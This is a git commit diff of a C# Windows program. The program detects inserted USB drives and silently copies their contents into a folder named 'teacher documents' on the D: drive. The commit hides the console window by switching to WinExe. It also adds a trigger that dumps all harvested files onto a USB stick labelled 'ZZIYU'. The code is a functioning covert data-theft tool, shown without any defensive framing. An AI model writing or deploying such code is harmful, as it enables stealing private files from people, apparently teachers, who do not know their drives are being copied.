自动识别USB并拷出
This commit is contained in:
parent
c4cd0e729c
commit
ca29d275a8
@ -1,8 +1,8 @@
|
|||||||
<Project Sdk="Microsoft.NET.Sdk">
|
<Project Sdk="Microsoft.NET.Sdk">
|
||||||
|
|
||||||
<PropertyGroup>
|
<PropertyGroup>
|
||||||
<OutputType>Exe</OutputType>
|
<OutputType>WinExe</OutputType>
|
||||||
<TargetFramework>net7.0</TargetFramework>
|
<TargetFramework>net7.0-windows</TargetFramework>
|
||||||
<ImplicitUsings>enable</ImplicitUsings>
|
<ImplicitUsings>enable</ImplicitUsings>
|
||||||
<Nullable>enable</Nullable>
|
<Nullable>enable</Nullable>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
|
39
Program.cs
39
Program.cs
@ -9,7 +9,7 @@ static string GetVolumeLabel(string driveName)
|
|||||||
}
|
}
|
||||||
catch (Exception)
|
catch (Exception)
|
||||||
{
|
{
|
||||||
return null;
|
return "default";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -19,13 +19,17 @@ ManagementEventWatcher managementEventWatcher = new(query);
|
|||||||
|
|
||||||
Console.WriteLine("Waiting for USB...");
|
Console.WriteLine("Waiting for USB...");
|
||||||
|
|
||||||
|
|
||||||
managementEventWatcher.EventArrived += (s, e) =>
|
managementEventWatcher.EventArrived += (s, e) =>
|
||||||
{
|
{
|
||||||
/*Console.WriteLine("触发器被触发了");*/
|
/*Console.WriteLine("触发器被触发了");*/
|
||||||
string driveName = e.NewEvent.Properties["DriveName"].Value.ToString();
|
string driveName = e.NewEvent.Properties["DriveName"].Value.ToString();
|
||||||
|
|
||||||
string dPath = Path.Join(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments), "USBCopy", GetVolumeLabel(driveName));
|
|
||||||
|
Console.WriteLine(driveName);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
string dPath = Path.Join("D:", "老师文档", GetVolumeLabel(driveName));
|
||||||
|
|
||||||
Console.WriteLine($"Detected: {driveName} || Save To -> : {dPath}");
|
Console.WriteLine($"Detected: {driveName} || Save To -> : {dPath}");
|
||||||
|
|
||||||
@ -35,10 +39,37 @@ managementEventWatcher.EventArrived += (s, e) =>
|
|||||||
}
|
}
|
||||||
|
|
||||||
var copyList = new List<(long, FileInfo, string, string)>();
|
var copyList = new List<(long, FileInfo, string, string)>();
|
||||||
|
var sortedList=new List<(long, FileInfo, string, string)>();
|
||||||
|
var dataDir = new DirectoryInfo(Path.Join("D:", "老师文档"));
|
||||||
|
if (GetVolumeLabel(driveName) == "ZZIYU")
|
||||||
|
{
|
||||||
|
Console.WriteLine("检测到拷出USB");
|
||||||
|
if (!dataDir.Exists)
|
||||||
|
{
|
||||||
|
dataDir.Create();
|
||||||
|
}
|
||||||
|
FileCopy.Copy(Path.Join("D:","老师文档"), Path.Join(driveName,"FILE", "USBCopy"), copyList);
|
||||||
|
sortedList = copyList.OrderBy(s => s.Item1).Select(s => s).ToList();
|
||||||
|
foreach (var copyItem in sortedList)
|
||||||
|
{
|
||||||
|
Console.WriteLine($"{copyItem.Item4} {copyItem.Item2} --> {copyItem.Item3} {copyItem.Item1 / 1024 / 1024}MB");
|
||||||
|
try
|
||||||
|
{
|
||||||
|
copyItem.Item2.CopyTo(copyItem.Item3, true);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine($"Copy Error {copyItem.Item2}");
|
||||||
|
/*Console.WriteLine(ex.ToString());*/
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Console.WriteLine("Copy out OK---------");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
FileCopy.Copy(driveName, dPath,copyList);
|
FileCopy.Copy(driveName, dPath,copyList);
|
||||||
|
|
||||||
var sortedList = copyList.OrderBy(s => s.Item1).Select(s => s);
|
sortedList = copyList.OrderBy(s => s.Item1).Select(s => s).ToList();
|
||||||
/*Console.WriteLine($"元素个数{sortedList.Count()}");*/
|
/*Console.WriteLine($"元素个数{sortedList.Count()}");*/
|
||||||
foreach (var copyItem in sortedList)
|
foreach (var copyItem in sortedList)
|
||||||
{
|
{
|
||||||
|
Loading…
Reference in New Issue
Block a user